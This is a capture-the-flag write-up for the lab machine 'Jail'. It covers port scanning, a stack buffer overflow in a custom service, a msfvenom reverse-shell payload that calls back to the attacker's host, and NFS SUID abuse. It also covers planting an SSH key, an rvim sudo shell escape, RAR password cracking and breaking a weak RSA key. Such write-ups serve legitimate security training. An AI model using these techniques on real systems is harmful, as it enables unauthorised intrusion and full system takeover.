Jail

Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.34 -oN allPorts
-sSuse the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000nmap will try to keep the sending rate at or above 5000 packets per second.-p-scanning the entire port range, from 1 to 65535.-T5insane mode, it is the fastest mode of the nmap time template.-Pnassume the host is online.-nscan without reverse DNS resolution.-oNsave the scan result into a file, in this case the allports file.
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,80,111,2049,7411,20048 10.10.10.34 -oN targeted
-sCperforms the scan using the default set of scripts.-sVenables version detection.-oNsave the scan result into file, in this case the targeted file.
Let's start with the HTTP server. It shows a simple drawing of a jail and not much more.

Using feroxbuster, we'll see there is a directory called jailuser.
feroxbuster --url http://10.10.10.34/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x txt,php,html
--urltarget URL.--depthmaximum recursion depth..--wordlistspecify a wordlist file.-xfile extension to search for.
This directory contains another one called dev.

Which contains three files. Let's download them to our current directory.

Exploitation
The compile.sh file is a bash script to compile the jail.c code into the jail binary. It does the compilation for a 32 bits environment and makes the stack executable.
If we review the code of the binary, we'll see the following.
The main function creates a socket that listens on port 7411 accepting connections.
There are hard-coded credentials.
There is a initial loop checking for lines that start with USER, PASS or DEBUG.
The
userpassbuffer is only 16 bytes long, but there is no check to ensure that thepasswordparameter passed to the function will fit within theuserpassbuffer. This means that we could pass in a long password that would overflow the buffer and overwrite adjacent memory, potentially allowing the attacker to execute arbitrary code or take control of the system.
By entering the DEBUG mode and introducing the credentials, we get an address that is always the same. This might be useful later.
nc 10.10.10.34 7411
Buffer Overflow
Let's exploit the buffer overflow vulnerability found in the jail binary. Run the binary with gdb.
gdb ./jail
Run the binary. To interact with it, we'll have to run the following commands.
gef➤ set detach-on-fork off
gef➤ set follow-fork-mode child
gef➤ r
Now, we can connect to the localhost on port 7411 and send a bunch of A characters as the password.
nc localhost 7411
We should have overwritten all the registries, including EIP and ESP.
Before continuing, note that the address that we get in the DEBUG mode when the binary is executed in our local machine is 0xffffcad0.
nc localhost 7411
As in every buffer overflow, we need to find the offset to control the EIP value. Create a pattern with gef and copy it.
gef➤ pattern create 50
Now, restart the program. As the copy of the program that gdb is using crashes, we'll need to kill its PID every time it crashes.
lsof -i:7411 | grep root | awk '{print $2}' | xargs kill -9
gef➤ r
Send the pattern we created as the password.
nc localhost 7411
The offset is 28, which means that after 28 bytes of junk we start overwriting EIP.
gef➤ pattern offset $eip
We have control of EIP. Send 28 A characters, followed by 4 B characters and 10 C characters as the password.
nc localhost 7411
As seen, we have overwritten EIP with 4 B characters, and ESP with C characters.
As the script was compiled by disabling data execution prevention, it is possible to write shellcode into the stack. The idea is to inject the shellcode into ESP, and point to it with EIP. But we don't know the address of ESP running in the jail machine.
But we have the address 0xffffcad0 that we got with the DEBUG mode. If we check its content, we'll see that it contains the payload we just sent.
gef➤ x/s 0xffffcad0
This means that it is the address of the userpass variable. This means that we can calculate the address of ESP, and point to it with EIP. As the offset is 28, and 4 bytes after EIP is ESP, that means that the address of the userpass variable plus 32 is the address of ESP.
Now, we have everything we need to exploit the buffer overflow. But first, we have to generate our shellcode.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -b "\x00\x0a" -f python
The following script will send as the password a payload that consists of the junk, followed by the address of ESP where EIP is located and the shellcode where ESP is located. This way the program will reach EIP, point to ESP, and the shellcode will be executed.
If we run the script, we'll see that it doesn't work. This might happen because ESP has limited space. But, we can change the shellcode to 50 bytes long shellcode with will fit ESP.
Now the script should work, and we should get a bash shell.
python overflow.py
It's time to exploit the victim machine. All we have to do is change the address of the userpass variable to the one we got earlier, and change the IP address to 10.10.10.34.
Run the script and get a shell as nobody in the jail machine.
Privilege Escalation
Port 2049 (NFS) is also open as we saw in the nmap scan. By reading the /etc/exports we'll see two directories configured as no_all_squash, which basically gives authority to any user on the client to access files on the NFS server as that user.
cat /etc/exports
Both can be mounted to our local machine.
showmount -e 10.10.10.34
Let's create two directories in /mnt, and mount the shares there.
mkdir /mnt/opt /mnt/var
mount -t nfs 10.10.10.34:/opt /mnt/opt/
mount -t nfs 10.10.10.34:/var/nfsshare /mnt/var/
Note that my local user alfa8sa with UID 1000 has permission to create files on the /mnt/var directory.
ls -la /mnt/
This means that if I create a file as alfa8sa, it will have the permissions of the user with the UID 1000 on the jail machine, which is the frank user.
grep 1000 /etc/passwd
The idea is to create a binary that will spawn a shell, and give it SUID permissions. First, on our local machine, create a file with the following C code.
Now, compile it.
gcc privesc.c -o privesc -static
Then, become your local user with UID 1000, in my case is alfa8sa, and copy the binary to the /mnt/var/ directory.
su alfa8sa
cp privesc /mnt/var/
Give the file SUID permissions.
chmod +s /mnt/var/privesc
Now, on the jail machine, run the binary and get a shell as frank. Then, we'll be able to grab the user flag.
/var/nfsshare/privesc
As the frank user has an authorized_keys file in his .ssh directory, we could put our public SSH key there and get a shell via SSH. First, create a pair of keys on our local machine. We'll have to do it with a special algorithm because RSA don't work in this machine.
ssh-keygen -t ecdsa -b 521
Copy our public key.
cat id_ecdsa.pub | tr -d "\n" | xclip -sel clip
And put it in the authorized_keys file of the victim machine.
echo "ecdsa-sha2-nistp521 AAAAE2VjZHNhLXNoYTItbmlzdHA1MjEAAAAIbmlzdHA1MjEAAACFBAEJNUqSy8E5Ka/cS9EcYf0qumTN76Wklp4QpGILKRMu9meL7vSnuX6MA3jVWdnac+NXgodK0eBFiXj9qSjCDEtQSABmg5mBxBqQZifCJ9OjImt5qx9EIgSREordLWX+zApCOwOcfkUxhvACC+M4cZhUbxo7baN+OLop1a4YBNm/b1V30A== root@alfa8sa" > /home/frank/.ssh/authorized_keys
Finally, get a shell with SSH.
ssh -i id_ecdsa frank@10.10.10.34
If we list sudo permissions, we'll see that we can run /usr/bin/rvim on /var/www/html/jailuser/dev/jail.c as the adm user.
sudo -l
If we search for rvim in the GTFOBins list, we can see that we can spawn a shell with the sudo privilege.
First, run the command that we are allowed to run as adm.
sudo -u adm /usr/bin/rvim /var/www/html/jailuser/dev/jail.c
Then, type : and run the following python command which will spawn a shell as adm.
py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")
The adm home directory is /var/adm.
echo $HOME
If contains a directory called .keys.
ls -la /var/adm
Which contains a compressed file called keys.rar, another directory called .local, and a file called note.txt.
ls -la /var/adm/.keys
Let's base64 the keys.rar file and copy it.
base64 -w 0 /var/adm/.keys/keys.rar; echo
Decode it in our local machine.
echo "UmF...AA==" | base64 -d > keys.rar
If we try to decompress the file, we'll see that it asks for a password.
unrar x keys.rar
The note.txt file says that some password is the last name of frank followed by four numbers and a special character.
cat /var/adm/.keys/note.txt
The .local directory has another file inside called .frank.
ls -la /var/adm/.keys/.local
Which has the following content.
cat /var/adm/.keys/.local/.frank
We can put this cipher text into the dcode.fr cipher identifier.

It detects that the message has been encrypted with Atbash Cipher. It is able to decipher the message.

It says something about escaping Alcatraz. Some googling will show that there was a guy who escaped jail in Alcatraz called Frank Morris.

Now we have the last name of Frank and a year with four digits, we need to know the special character. We can create a wordlist with crunch composed of the Morris1962 and a special character.
crunch 11 11 -t Morris1962^ > pwds
Now, get the hash of the keys.rar file.
rar2john keys.rar > keys.rar.hash
And break the password with john using the custom dictionary.
john --wordlist=pwds keys.rar.hash
Now, decompress the keys.rar file using the Morris1962! password.
unrar x keys.rar
The compressed file contained a public key called rootauthorizedsshkey.pub.
cat rootauthorizedsshkey.pub
But it seems like it is quite short. It might be a weak key that we can break. Let's use RsaCtfTool and try to break it.
python RsaCtfTool.py --public /home/alfa8sa/HTB/machines/jail/rootauthorizedsshkey.pub --private
It was able to break the public key and obtain the private key. Put it into the id_rsa file.
nano id_rsa; chmod 600 id_rsa
If we try to log in as root, we'll get the following error.
ssh -i id_rsa root@10.10.10.34
As we can see here, we need to add the following parameter. Then, we'll be able to log in as root, and all we have to do is reap the harvest and take the root flag.
ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i id_rsa root@10.10.10.34
Last updated
Was this helpful?